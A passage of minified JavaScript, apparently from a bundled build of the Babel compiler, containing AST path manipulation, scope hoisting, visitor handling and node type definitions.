if(C.isLiteral(a)){if(!r(a.value))return!1}else{if(C.isMemberExpression(a)){if(a.computed&&!C.isLiteral(a.property))return!1;i.unshift(a.property),i.unshift(a.object);continue}if(!C.isThisExpression(a))return!1;if(!r("this"))return!1}if(++s>n.length)return!1}return s===n.length}function s(e){var t=this.node&&this.node[e];return t&&Array.isArray(t)?!!t.length:!!t}function a(){return this.scope.isStatic(this.node)}function o(e){return!this.has(e)}function u(e,t){return this.node[e]===t}function l(e){return C.isType(this.type,e)}function c(){return("init"===this.key||"left"===this.key)&&this.parentPath.isFor()}function f(e){return!("body"!==this.key||!this.parentPath.isArrowFunctionExpression())&&(this.isExpression()?C.isBlockStatement(e):!!this.isBlockStatement()&&C.isExpression(e))}function p(e){var t=this,r=!0;do{var n=t.container;if(t.isFunction()&&!r)return!!e;if(r=!1,Array.isArray(n)&&t.key!==n.length-1)return!1}while((t=t.parentPath)&&!t.isProgram());return!0}function d(){return!this.parentPath.isLabeledStatement()&&!C.isBlockStatement(this.container)&&(0,_.default)(C.STATEMENT_OR_BLOCK_KEYS,this.key)}function h(e,t){if(!this.isReferencedIdentifier())return!1;var r=this.scope.getBinding(this.node.name);if(!r||"module"!==r.kind)return!1;var n=r.path,i=n.parentPath;return!!i.isImportDeclaration()&&(i.node.source.value===e&&(!t||(!(!n.isImportDefaultSpecifier()||"default"!==t)||(!(!n.isImportNamespaceSpecifier()||"*"!==t)||!(!n.isImportSpecifier()||n.node.imported.name!==t)))))}function m(){var e=this.node;return e.end?this.hub.file.code.slice(e.start,e.end):""}function y(e){return"after"!==this._guessExecutionStatusRelativeTo(e)}function v(e){var t=e.scope.getFunctionParent(),r=this.scope.getFunctionParent();if(t.node!==r.node){var n=this._guessExecutionStatusRelativeToDifferentFunctions(t);if(n)return n;e=t.path}var i=e.getAncestry();if(i.indexOf(this)>=0)return"after";var s=this.getAncestry(),a=void 0,o=void 0,u=void 0;for(u=0;u<s.length;u++){var l=s[u];if((o=i.indexOf(l))>=0){a=l;break}}if(!a)return"before";var c=i[o-1],f=s[u-1];return c&&f?c.listKey&&c.container===f.container?c.key>f.key?"before":"after":C.VISITOR_KEYS[c.type].indexOf(c.key)>C.VISITOR_KEYS[f.type].indexOf(f.key)?"before":"after":"before"}function g(e){var t=e.path;if(t.isFunctionDeclaration()){var r=t.scope.getBinding(t.node.id.name);if(!r.references)return"before";for(var n=r.referencePaths,i=n,s=Array.isArray(i),a=0,i=s?i:(0,A.default)(i);;){var o;if(s){if(a>=i.length)break;o=i[a++]}else{if(a=i.next(),a.done)break;o=a.value}var u=o;if("callee"!==u.key||!u.parentPath.isCallExpression())return}for(var l=void 0,c=n,f=Array.isArray(c),p=0,c=f?c:(0,A.default)(c);;){var d;if(f){if(p>=c.length)break;d=c[p++]}else{if(p=c.next(),p.done)break;d=p.value}var h=d;if(!!!h.find(function(e){return e.node===t.node})){var m=this._guessExecutionStatusRelativeTo(h);if(l){if(l!==m)return}else l=m}}return l}}function b(e,t){return this._resolve(e,t)||this}function E(e,t){if(!(t&&t.indexOf(this)>=0))if(t=t||[],t.push(this),this.isVariableDeclarator()){if(this.get("id").isIdentifier())return this.get("init").resolve(e,t)}else if(this.isReferencedIdentifier()){var r=this.scope.getBinding(this.node.name);if(!r)return;if(!r.constant)return;if("module"===r.kind)return;if(r.path!==this){var n=r.path.resolve(e,t);if(this.find(function(e){return e.node===n.node}))return;return n}}else{if(this.isTypeCastExpression())return this.get("expression").resolve(e,t);if(e&&this.isMemberExpression()){var i=this.toComputedKey();if(!C.isLiteral(i))return;var s=i.value,a=this.get("object").resolve(e,t);if(a.isObjectExpression())for(var o=a.get("properties"),u=o,l=Array.isArray(u),c=0,u=l?u:(0,A.default)(u);;){var f;if(l){if(c>=u.length)break;f=u[c++]}else{if(c=u.next(),c.done)break;f=c.value}var p=f;if(p.isProperty()){var d=p.get("key"),h=p.isnt("computed")&&d.isIdentifier({name:s});if(h=h||d.isLiteral({value:s}))return p.get("value").resolve(e,t)}}else if(a.isArrayExpression()&&!isNaN(+s)){var m=a.get("elements"),y=m[s];if(y)return y.resolve(e,t)}}}}t.__esModule=!0,t.is=void 0;var x=r(2),A=n(x);t.matchesPattern=i,t.has=s,t.isStatic=a,t.isnt=o,t.equals=u,t.isNodeType=l,t.canHaveVariableDeclarationOrExpression=c,t.canSwapBetweenExpressionAndStatement=f,t.isCompletionRecord=p,t.isStatementOrBlock=d,t.referencesImport=h,t.getSource=m,
t.willIMaybeExecuteBefore=y,t._guessExecutionStatusRelativeTo=v,t._guessExecutionStatusRelativeToDifferentFunctions=g,t.resolve=b,t._resolve=E;var S=r(111),_=n(S),D=r(1),C=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(D);t.is=s},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var i=r(2),s=n(i),a=r(3),o=n(a),u=r(1),l=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(u),c={ReferencedIdentifier:function(e,t){if(!e.isJSXIdentifier()||!u.react.isCompatTag(e.node.name)||e.parentPath.isJSXMemberExpression()){if("this"===e.node.name){var r=e.scope;do{if(r.path.isFunction()&&!r.path.isArrowFunctionExpression())break}while(r=r.parent);r&&t.breakOnScopePaths.push(r.path)}var n=e.scope.getBinding(e.node.name);n&&n===t.scope.getBinding(e.node.name)&&(t.bindings[e.node.name]=n)}}},f=function(){function e(t,r){(0,o.default)(this,e),this.breakOnScopePaths=[],this.bindings={},this.scopes=[],this.scope=r,this.path=t,this.attachAfter=!1}return e.prototype.isCompatibleScope=function(e){for(var t in this.bindings){var r=this.bindings[t];if(!e.bindingIdentifierEquals(t,r.identifier))return!1}return!0},e.prototype.getCompatibleScopes=function(){var e=this.path.scope;do{if(!this.isCompatibleScope(e))break;if(this.scopes.push(e),this.breakOnScopePaths.indexOf(e.path)>=0)break}while(e=e.parent)},e.prototype.getAttachmentPath=function(){var e=this._getAttachmentPath();if(e){var t=e.scope;if(t.path===e&&(t=e.scope.parent),t.path.isProgram()||t.path.isFunction())for(var r in this.bindings)if(t.hasOwnBinding(r)){var n=this.bindings[r];if("param"!==n.kind&&this.getAttachmentParentForPath(n.path).key>e.key){this.attachAfter=!0,e=n.path;for(var i=n.constantViolations,a=Array.isArray(i),o=0,i=a?i:(0,s.default)(i);;){var u;if(a){if(o>=i.length)break;u=i[o++]}else{if(o=i.next(),o.done)break;u=o.value}var l=u;this.getAttachmentParentForPath(l).key>e.key&&(e=l)}}}return e.parentPath.isExportDeclaration()&&(e=e.parentPath),e}},e.prototype._getAttachmentPath=function(){var e=this.scopes,t=e.pop();if(t){if(t.path.isFunction()){if(this.hasOwnParamBindings(t)){if(this.scope===t)return;return t.path.get("body").get("body")[0]}return this.getNextScopeAttachmentParent()}return t.path.isProgram()?this.getNextScopeAttachmentParent():void 0}},e.prototype.getNextScopeAttachmentParent=function(){var e=this.scopes.pop();if(e)return this.getAttachmentParentForPath(e.path)},e.prototype.getAttachmentParentForPath=function(e){do{if(!e.parentPath||Array.isArray(e.container)&&e.isStatement()||e.isVariableDeclarator()&&null!==e.parentPath.node&&e.parentPath.node.declarations.length>1)return e}while(e=e.parentPath)},e.prototype.hasOwnParamBindings=function(e){for(var t in this.bindings)if(e.hasOwnBinding(t)){var r=this.bindings[t];if("param"===r.kind&&r.constant)return!0}return!1},e.prototype.run=function(){var e=this.path.node;if(!e._hoisted){e._hoisted=!0,this.path.traverse(c,this),this.getCompatibleScopes();var t=this.getAttachmentPath();if(t&&t.getFunctionParent()!==this.path.getFunctionParent()){var r=t.scope.generateUidIdentifier("ref"),n=l.variableDeclarator(r,this.path.node);t[this.attachAfter?"insertAfter":"insertBefore"]([t.isVariableDeclarator()?n:l.variableDeclaration("var",[n])]);var i=this.path.parentPath;i.isJSXElement()&&this.path.container===i.node.children&&(r=l.JSXExpressionContainer(r)),this.path.replaceWith(r)}}},e}();t.default=f,e.exports=t.default},function(e,t){"use strict";t.__esModule=!0;t.hooks=[function(e,t){if("test"===e.key&&(t.isWhile()||t.isSwitchCase())||"declaration"===e.key&&t.isExportDeclaration()||"body"===e.key&&t.isLabeledStatement()||"declarations"===e.listKey&&t.isVariableDeclaration()&&1===t.node.declarations.length||"expression"===e.key&&t.isExpressionStatement())return t.remove(),!0},function(e,t){if(t.isSequenceExpression()&&1===t.node.expressions.length)return t.replaceWith(t.node.expressions[0]),!0},function(e,t){if(t.isBinary())return"left"===e.key?t.replaceWith(t.node.right):t.replaceWith(t.node.left),!0},function(e,t){if(t.isIfStatement()&&("consequent"===e.key||"alternate"===e.key)||"body"===e.key&&(t.isLoop()||t.isArrowFunctionExpression()))return e.replaceWith({type:"BlockStatement",body:[]}),!0}]},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}function i(e){if(this._assertUnremoved(),e=this._verifyNodeList(e),this.parentPath.isExpressionStatement()||this.parentPath.isLabeledStatement())return this.parentPath.insertBefore(e);if(this.isNodeType("Expression")||this.parentPath.isForStatement()&&"init"===this.key)this.node&&e.push(this.node),this.replaceExpressionWithStatements(e);else{if(this._maybePopFromStatements(e),Array.isArray(this.container))return this._containerInsertBefore(e);if(!this.isStatementOrBlock())throw new Error("We don't know what to do with this node type. We were previously a Statement but we can't fit in here?");this.node&&e.push(this.node),this._replaceWith(D.blockStatement(e))}return[this]}function s(e,t){this.updateSiblingKeys(e,t.length);for(var r=[],n=0;n<t.length;n++){var i=e+n,s=t[n];if(this.container.splice(i,0,s),this.context){var a=this.context.create(this.parent,this.container,i,this.listKey);this.context.queue&&a.pushContext(this.context),r.push(a)}else r.push(S.default.get({parentPath:this.parentPath,parent:this.parent,container:this.container,listKey:this.listKey,key:i}))}for(var o=this._getQueueContexts(),u=r,l=Array.isArray(u),c=0,u=l?u:(0,g.default)(u);;){var f;if(l){if(c>=u.length)break;f=u[c++]}else{if(c=u.next(),c.done)break;f=c.value}var p=f;p.setScope(),p.debug(function(){return"Inserted."});for(var d=o,h=Array.isArray(d),m=0,d=h?d:(0,g.default)(d);;){var y;if(h){if(m>=d.length)break;y=d[m++]}else{if(m=d.next(),m.done)break;y=m.value}y.maybeQueue(p,!0)}}return r}function a(e){return this._containerInsert(this.key,e)}function o(e){return this._containerInsert(this.key+1,e)}function u(e){var t=e[e.length-1];(D.isIdentifier(t)||D.isExpressionStatement(t)&&D.isIdentifier(t.expression))&&!this.isCompletionRecord()&&e.pop()}function l(e){if(this._assertUnremoved(),e=this._verifyNodeList(e),this.parentPath.isExpressionStatement()||this.parentPath.isLabeledStatement())return this.parentPath.insertAfter(e);if(this.isNodeType("Expression")||this.parentPath.isForStatement()&&"init"===this.key){if(this.node){var t=this.scope.generateDeclaredUidIdentifier();e.unshift(D.expressionStatement(D.assignmentExpression("=",t,this.node))),e.push(D.expressionStatement(t))}this.replaceExpressionWithStatements(e)}else{if(this._maybePopFromStatements(e),Array.isArray(this.container))return this._containerInsertAfter(e);if(!this.isStatementOrBlock())throw new Error("We don't know what to do with this node type. We were previously a Statement but we can't fit in here?");this.node&&e.unshift(this.node),this._replaceWith(D.blockStatement(e))}return[this]}function c(e,t){if(this.parent)for(var r=b.path.get(this.parent),n=0;n<r.length;n++){var i=r[n];i.key>=e&&(i.key+=t)}}function f(e){if(!e)return[];e.constructor!==Array&&(e=[e]);for(var t=0;t<e.length;t++){var r=e[t],n=void 0;if(r?"object"!==(void 0===r?"undefined":(0,y.default)(r))?n="contains a non-object node":r.type?r instanceof S.default&&(n="has a NodePath when it expected a raw object"):n="without a type":n="has falsy node",n){var i=Array.isArray(r)?"array":void 0===r?"undefined":(0,y.default)(r);throw new Error("Node list "+n+" with the index of "+t+" and type of "+i)}}return e}function p(e,t){return this._assertUnremoved(),t=this._verifyNodeList(t),S.default.get({parentPath:this,parent:this.node,container:this.node[e],listKey:e,key:0}).insertBefore(t)}function d(e,t){this._assertUnremoved(),t=this._verifyNodeList(t);var r=this.node[e];return S.default.get({parentPath:this,parent:this.node,container:r,listKey:e,key:r.length}).replaceWithMultiple(t)}function h(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:this.scope;return new x.default(this,e).run()}t.__esModule=!0;var m=r(11),y=n(m),v=r(2),g=n(v);t.insertBefore=i,t._containerInsert=s,t._containerInsertBefore=a,t._containerInsertAfter=o,t._maybePopFromStatements=u,t.insertAfter=l,t.updateSiblingKeys=c,t._verifyNodeList=f,t.unshiftContainer=p,t.pushContainer=d,t.hoist=h;var b=r(88),E=r(378),x=n(E),A=r(36),S=n(A),_=r(1),D=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(_)},function(e,t,r){"use strict";function n(){if(this._assertUnremoved(),this.resync(),this._callRemovalHooks())return void this._markRemoved();this.shareCommentsWithSiblings(),this._remove(),this._markRemoved()}function i(){for(var e=c.hooks,t=Array.isArray(e),r=0,e=t?e:(0,l.default)(e);;){var n;if(t){if(r>=e.length)break;n=e[r++]}else{if(r=e.next(),r.done)break;n=r.value}if(n(this,this.parentPath))return!0}}function s(){Array.isArray(this.container)?(this.container.splice(this.key,1),this.updateSiblingKeys(this.key,-1)):this._replaceWith(null)}function a(){this.shouldSkip=!0,this.removed=!0,this.node=null}function o(){if(this.removed)throw this.buildCodeFrameError("NodePath has been removed so is read-only.")}t.__esModule=!0;var u=r(2),l=function(e){return e&&e.__esModule?e:{default:e}}(u);t.remove=n,t._callRemovalHooks=i,t._remove=s,t._markRemoved=a,t._assertUnremoved=o;var c=r(379)},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}function i(e){this.resync(),e=this._verifyNodeList(e),E.inheritLeadingComments(e[0],this.node),E.inheritTrailingComments(e[e.length-1],this.node),this.node=this.container[this.key]=null,this.insertAfter(e),this.node?this.requeue():this.remove()}function s(e){this.resync();try{e="("+e+")",e=(0,g.parse)(e)}catch(r){var t=r.loc;throw t&&(r.message+=" - make sure this is an expression.",r.message+="\n"+(0,d.default)(e,t.line,t.column+1)),r}return e=e.program.body[0].expression,m.default.removeProperties(e),this.replaceWith(e)}function a(e){if(this.resync(),this.removed)throw new Error("You can't replace this node, we've already removed it");if(e instanceof v.default&&(e=e.node),!e)throw new Error("You passed `path.replaceWith()` a falsy node, use `path.remove()` instead");if(this.node!==e){if(this.isProgram()&&!E.isProgram(e))throw new Error("You can only replace a Program root node with another Program node");if(Array.isArray(e))throw new Error("Don't use `path.replaceWith()` with an array of nodes, use `path.replaceWithMultiple()`");if("string"==typeof e)throw new Error("Don't use `path.replaceWith()` with a source string, use `path.replaceWithSourceString()`");if(this.isNodeType("Statement")&&E.isExpression(e)&&(this.canHaveVariableDeclarationOrExpression()||this.canSwapBetweenExpressionAndStatement(e)||this.parentPath.isExportDefaultDeclaration()||(e=E.expressionStatement(e))),this.isNodeType("Expression")&&E.isStatement(e)&&!this.canHaveVariableDeclarationOrExpression()&&!this.canSwapBetweenExpressionAndStatement(e))return this.replaceExpressionWithStatements([e]);var t=this.node;t&&(E.inheritsComments(e,t),E.removeComments(t)),this._replaceWith(e),this.type=e.type,this.setScope(),this.requeue()}}function o(e){if(!this.container)throw new ReferenceError("Container is falsy");this.inList?E.validate(this.parent,this.key,[e]):E.validate(this.parent,this.key,e),this.debug(function(){return"Replace with "+(e&&e.type)}),this.node=this.container[this.key]=e}function u(e){this.resync();var t=E.toSequenceExpression(e,this.scope);if(E.isSequenceExpression(t)){var r=t.expressions;r.length>=2&&this.parentPath.isExpressionStatement()&&this._maybePopFromStatements(r),1===r.length?this.replaceWith(r[0]):this.replaceWith(t)}else{if(!t){var n=E.functionExpression(null,[],E.blockStatement(e));n.shadow=!0,this.replaceWith(E.callExpression(n,[])),this.traverse(x);for(var i=this.get("callee").getCompletionRecords(),s=i,a=Array.isArray(s),o=0,s=a?s:(0,f.default)(s);;){var u;if(a){if(o>=s.length)break;u=s[o++]}else{if(o=s.next(),o.done)break;u=o.value}var l=u;if(l.isExpressionStatement()){var c=l.findParent(function(e){return e.isLoop()});if(c){var p=c.getData("expressionReplacementReturnUid");if(p)p=E.identifier(p.name);else{var d=this.get("callee");p=d.scope.generateDeclaredUidIdentifier("ret"),d.get("body").pushContainer("body",E.returnStatement(p)),c.setData("expressionReplacementReturnUid",p)}l.get("expression").replaceWith(E.assignmentExpression("=",p,l.node.expression))}else l.replaceWith(E.returnStatement(l.node.expression))}}return this.node}this.replaceWith(t)}}function l(e){return this.resync(),Array.isArray(e)?Array.isArray(this.container)?(e=this._verifyNodeList(e),this._containerInsertAfter(e),this.remove()):this.replaceWithMultiple(e):this.replaceWith(e)}t.__esModule=!0;var c=r(2),f=n(c);t.replaceWithMultiple=i,t.replaceWithSourceString=s,t.replaceWith=a,t._replaceWith=o,t.replaceExpressionWithStatements=u,t.replaceInline=l;var p=r(181),d=n(p),h=r(7),m=n(h),y=r(36),v=n(y),g=r(89),b=r(1),E=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(b),x={Function:function(e){e.skip()},VariableDeclaration:function(e){if("var"===e.node.kind){var t=e.getBindingIdentifiers();for(var r in t)e.scope.push({id:t[r]});for(var n=[],i=e.node.declarations,s=Array.isArray(i),a=0,i=s?i:(0,f.default)(i);;){var o;if(s){if(a>=i.length)break;o=i[a++]}else{if(a=i.next(),a.done)break;o=a.value}var u=o;u.init&&n.push(E.expressionStatement(E.assignmentExpression("=",u.id,u.init)))}e.replaceWithMultiple(n)}}}},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var i=r(3),s=n(i),a=r(225),o=(n(a),r(1)),u=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(o),l={ReferencedIdentifier:function(e,t){var r=e.node;r.name===t.oldName&&(r.name=t.newName)},Scope:function(e,t){e.scope.bindingIdentifierEquals(t.oldName,t.binding.identifier)||e.skip()},"AssignmentExpression|Declaration":function(e,t){var r=e.getOuterBindingIdentifiers();for(var n in r)n===t.oldName&&(r[n].name=t.newName)}},c=function(){function e(t,r,n){(0,s.default)(this,e),this.newName=n,this.oldName=r,this.binding=t}return e.prototype.maybeConvertFromExportDeclaration=function(e){var t=e.parentPath.isExportDeclaration()&&e.parentPath;if(t){var r=t.isExportDefaultDeclaration();r&&(e.isFunctionDeclaration()||e.isClassDeclaration())&&!e.node.id&&(e.node.id=e.scope.generateUidIdentifier("default"));var n=e.getOuterBindingIdentifiers(),i=[];for(var s in n){var a=s===this.oldName?this.newName:s,o=r?"default":s;i.push(u.exportSpecifier(u.identifier(a),u.identifier(o)))}if(i.length){var l=u.exportNamedDeclaration(null,i);e.isFunctionDeclaration()&&(l._blockHoist=3),t.insertAfter(l),t.replaceWith(e.node)}}},e.prototype.rename=function(e){var t=this.binding,r=this.oldName,n=this.newName,i=t.scope,s=t.path,a=s.find(function(e){return e.isDeclaration()||e.isFunctionExpression()});a&&this.maybeConvertFromExportDeclaration(a),i.traverse(e||i.block,l,this),e||(i.removeOwnBinding(r),i.bindings[n]=t,this.binding.identifier.name=n),t.type},e}();t.default=c,e.exports=t.default},function(e,t,r){"use strict";function n(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}function i(e){return e&&e.__esModule?e:{default:e}}function s(e){if(e._exploded)return e;e._exploded=!0;for(var t in e)if(!d(t)){var r=t.split("|");if(1!==r.length){var n=e[t];delete e[t];for(var i=r,s=Array.isArray(i),o=0,i=s?i:(0,E.default)(i);;){var u;if(s){if(o>=i.length)break;u=i[o++]}else{if(o=i.next(),o.done)break;u=o.value}var l=u;e[l]=n}}}a(e),delete e.__esModule,c(e),f(e);for(var m=(0,g.default)(e),y=Array.isArray(m),v=0,m=y?m:(0,E.default)(m);;){var b;if(y){if(v>=m.length)break;b=m[v++]}else{if(v=m.next(),v.done)break;b=v.value}var x=b;if(!d(x)){var S=A[x];if(S){var _=e[x];for(var D in _)_[D]=p(S,_[D]);if(delete e[x],S.types)for(var w=S.types,k=Array.isArray(w),F=0,w=k?w:(0,E.default)(w);;){var T;if(k){if(F>=w.length)break;T=w[F++]}else{if(F=w.next(),F.done)break;T=F.value}var O=T;e[O]?h(e[O],_):e[O]=_}else h(e,_)}}}for(var B in e)if(!d(B)){var R=e[B],I=C.FLIPPED_ALIAS_KEYS[B],M=C.DEPRECATED_KEYS[B];if(M&&(console.trace("Visitor defined for "+B+" but it has been renamed to "+M),I=[M]),I){delete e[B];for(var N=I,L=Array.isArray(N),j=0,N=L?N:(0,E.default)(N);;){var U;if(L){if(j>=N.length)break;U=N[j++]}else{if(j=N.next(),j.done)break;U=j.value}var V=U,G=e[V];G?h(G,R):e[V]=(0,P.default)(R)}}}for(var W in e)d(W)||f(e[W]);return e}function a(e){if(!e._verified){if("function"==typeof e)throw new Error(_.get("traverseVerifyRootFunction"));for(var t in e)if("enter"!==t&&"exit"!==t||o(t,e[t]),!d(t)){if(C.TYPES.indexOf(t)<0)throw new Error(_.get("traverseVerifyNodeType",t));var r=e[t];if("object"===(void 0===r?"undefined":(0,y.default)(r)))for(var n in r){if("enter"!==n&&"exit"!==n)throw new Error(_.get("traverseVerifyVisitorProperty",t,n));o(t+"."+n,r[n])}}e._verified=!0}}function o(e,t){for(var r=[].concat(t),n=r,i=Array.isArray(n),s=0,n=i?n:(0,E.default)(n);;){var a;if(i){if(s>=n.length)break;a=n[s++]}else{if(s=n.next(),s.done)break;a=s.value}var o=a;if("function"!=typeof o)throw new TypeError("Non-function found defined in "+e+" with type "+(void 0===o?"undefined":(0,y.default)(o)))}}function u(e){for(var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:[],r=arguments[2],n={},i=0;i<e.length;i++){var a=e[i],o=t[i];s(a);for(var u in a){var c=a[u];(o||r)&&(c=l(c,o,r));h(n[u]=n[u]||{},c)}}return n}function l(e,t,r){var n={};for(var i in e){(function(i){var s=e[i];if(!Array.isArray(s))return"continue";s=s.map(function(e){var n=e;return t&&(n=function(r){return e.call(t,r,t)}),r&&(n=r(t.key,i,n)),n}),n[i]=s})(i)}return n}function c(e){for(var t in e)if(!d(t)){var r=e[t];"function"==typeof r&&(e[t]={enter:r})}}function f(e){e.enter&&!Array.isArray(e.enter)&&(e.enter=[e.enter]),e.exit&&!Array.isArray(e.exit)&&(e.exit=[e.exit])}function p(e,t){var r=function(r){if(e.checkPath(r))return t.apply(this,arguments)};return r.toString=function(){return t.toString()},r}function d(e){return"_"===e[0]||("enter"===e||"exit"===e||"shouldSkip"===e||("blacklist"===e||"noScope"===e||"skipKeys"===e))}function h(e,t){for(var r in t)e[r]=[].concat(e[r]||[],t[r])}t.__esModule=!0;var m=r(11),y=i(m),v=r(14),g=i(v),b=r(2),E=i(b);t.explode=s,t.verify=a,t.merge=u;var x=r(224),A=n(x),S=r(20),_=n(S),D=r(1),C=n(D),w=r(109),P=i(w)},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}function i(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:e.key||e.property;return e.computed||D.isIdentifier(t)&&(t=D.stringLiteral(t.name)),t}function s(e,t,r){for(var n=[],i=!0,a=e,o=Array.isArray(a),u=0,a=o?a:(0,b.default)(a);;){var l;if(o){if(u>=a.length)break;l=a[u++]}else{if(u=a.next(),u.done)break;l=u.value}var c=l;if(i=!1,D.isExpression(c))n.push(c);else if(D.isExpressionStatement(c))n.push(c.expression);else if(D.isVariableDeclaration(c)){if("var"!==c.kind)return;for(var f=c.declarations,p=Array.isArray(f),d=0,f=p?f:(0,b.default)(f);;){var h;if(p){if(d>=f.length)break;h=f[d++]}else{if(d=f.next(),d.done)break;h=d.value}var m=h,y=D.getBindingIdentifiers(m);for(var v in y)r.push({kind:c.kind,id:y[v]});m.init&&n.push(D.assignmentExpression("=",m.id,m.init))}i=!0}else if(D.isIfStatement(c)){var g=c.consequent?s([c.consequent],t,r):t.buildUndefinedNode(),E=c.alternate?s([c.alternate],t,r):t.buildUndefinedNode();if(!g||!E)return;n.push(D.conditionalExpression(c.test,g,E))}else if(D.isBlockStatement(c)){var x=s(c.body,t,r);if(!x)return;n.push(x)}else{if(!D.isEmptyStatement(c))return;i=!0}}return i&&n.push(t.buildUndefinedNode()),1===n.length?n[0]:D.sequenceExpression(n)}function a(e,t){if(e&&e.length){var r=[],n=s(e,t,r);if(n){for(var i=r,a=Array.isArray(i),o=0,i=a?i:(0,b.default)(i);;){var u;if(a){if(o>=i.length)break;u=i[o++]}else{if(o=i.next(),o.done)break;u=o.value}var l=u;t.push(l)}return n}}}function o(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:e.key,r=void 0;return"method"===e.kind?o.increment()+"":(r=D.isIdentifier(t)?t.name:D.isStringLiteral(t)?(0,v.default)(t.value):(0,v.default)(D.removePropertiesDeep(D.cloneDeep(t))),e.computed&&(r="["+r+"]"),e.static&&(r="static:"+r),r)}function u(e){return e+="",e=e.replace(/[^a-zA-Z0-9$_]/g,"-"),e=e.replace(/^[-0-9]+/,""),e=e.replace(/[-\s]+(.)?/g,function(e,t){return t?t.toUpperCase():""}),D.isValidIdentifier(e)||(e="_"+e),e||"_"}function l(e){return e=u(e),"eval"!==e&&"arguments"!==e||(e="_"+e),e}function c(e,t){if(D.isStatement(e))return e;var r=!1,n=void 0;if(D.isClass(e))r=!0,n="ClassDeclaration";else if(D.isFunction(e))r=!0,n="FunctionDeclaration";else if(D.isAssignmentExpression(e))return D.expressionStatement(e);if(r&&!e.id&&(n=!1),!n){if(t)return!1;throw new Error("cannot turn "+e.type+" to a statement")}return e.type=n,e}function f(e){if(D.isExpressionStatement(e)&&(e=e.expression),D.isExpression(e))return e;if(D.isClass(e)?e.type="ClassExpression":D.isFunction(e)&&(e.type="FunctionExpression"),!D.isExpression(e))throw new Error("cannot turn "+e.type+" to an expression");return e}function p(e,t){return D.isBlockStatement(e)?e:(D.isEmptyStatement(e)&&(e=[]),Array.isArray(e)||(D.isStatement(e)||(e=D.isFunction(t)?D.returnStatement(e):D.expressionStatement(e)),e=[e]),D.blockStatement(e))}function d(e){if(void 0===e)return D.identifier("undefined");if(!0===e||!1===e)return D.booleanLiteral(e);if(null===e)return D.nullLiteral();if("string"==typeof e)return D.stringLiteral(e);if("number"==typeof e)return D.numericLiteral(e);if((0,S.default)(e)){var t=e.source,r=e.toString().match(/\/([a-z]+|)$/)[1];return D.regExpLiteral(t,r)}if(Array.isArray(e))return D.arrayExpression(e.map(D.valueToNode));if((0,x.default)(e)){var n=[];for(var i in e){var s=void 0;s=D.isValidIdentifier(i)?D.identifier(i):D.stringLiteral(i),n.push(D.objectProperty(s,D.valueToNode(e[i])))}return D.objectExpression(n)}throw new Error("don't know how to turn this value into a node")}t.__esModule=!0;var h=r(359),m=n(h),y=r(35),v=n(y),g=r(2),b=n(g);t.toComputedKey=i,t.toSequenceExpression=a,t.toKeyAlias=o,t.toIdentifier=u,t.toBindingIdentifierName=l,t.toStatement=c,t.toExpression=f,t.toBlock=p,t.valueToNode=d;var E=r(275),x=n(E),A=r(276),S=n(A),_=r(1),D=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(_);o.uid=0,o.increment=function(){return o.uid>=m.default?o.uid=0:o.uid++}},function(e,t,r){"use strict";var n=r(1),i=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(n),s=r(135),a=r(26),o=function(e){return e&&e.__esModule?e:{default:e}}(a);(0,o.default)("ArrayExpression",{fields:{elements:{validate:(0,a.chain)((0,a.assertValueType)("array"),(0,a.assertEach)((0,a.assertNodeOrValueType)("null","Expression","SpreadElement"))),default:[]}},visitor:["elements"],aliases:["Expression"]}),(0,o.default)("AssignmentExpression",{fields:{operator:{validate:(0,a.assertValueType)("string")},left:{validate:(0,a.assertNodeType)("LVal")},right:{validate:(0,a.assertNodeType)("Expression")}},builder:["operator","left","right"],visitor:["left","right"],aliases:["Expression"]}),(0,o.default)("BinaryExpression",{builder:["operator","left","right"],fields:{operator:{validate:a.assertOneOf.apply(void 0,s.BINARY_OPERATORS)},left:{validate:(0,a.assertNodeType)("Expression")},right:{validate:(0,a.assertNodeType)("Expression")}},visitor:["left","right"],aliases:["Binary","Expression"]}),(0,o.default)("Directive",{visitor:["value"],fields:{value:{validate:(0,a.assertNodeType)("DirectiveLiteral")}}}),(0,o.default)("DirectiveLiteral",{builder:["value"],fields:{value:{validate:(0,a.assertValueType)("string")}}}),(0,o.default)("BlockStatement",{builder:["body","directives"],visitor:["directives","body"],fields:{directives:{validate:(0,a.chain)((0,a.assertValueType)("array"),(0,a.assertEach)((0,a.assertNodeType)("Directive"))),default:[]},body:{validate:(0,a.chain)((0,a.assertValueType)("array"),(0,a.assertEach)((0,a.assertNodeType)("Statement")))}},aliases:["Scopable","BlockParent","Block","Statement"]}),(0,o.default)("BreakStatement",{visitor:["label"],fields:{label:{validate:(0,a.assertNodeType)("Identifier"),optional:!0}},aliases:["Statement","Terminatorless","CompletionStatement"]}),(0,o.default)("CallExpression",{visitor:["callee","arguments"],fields:{callee:{valida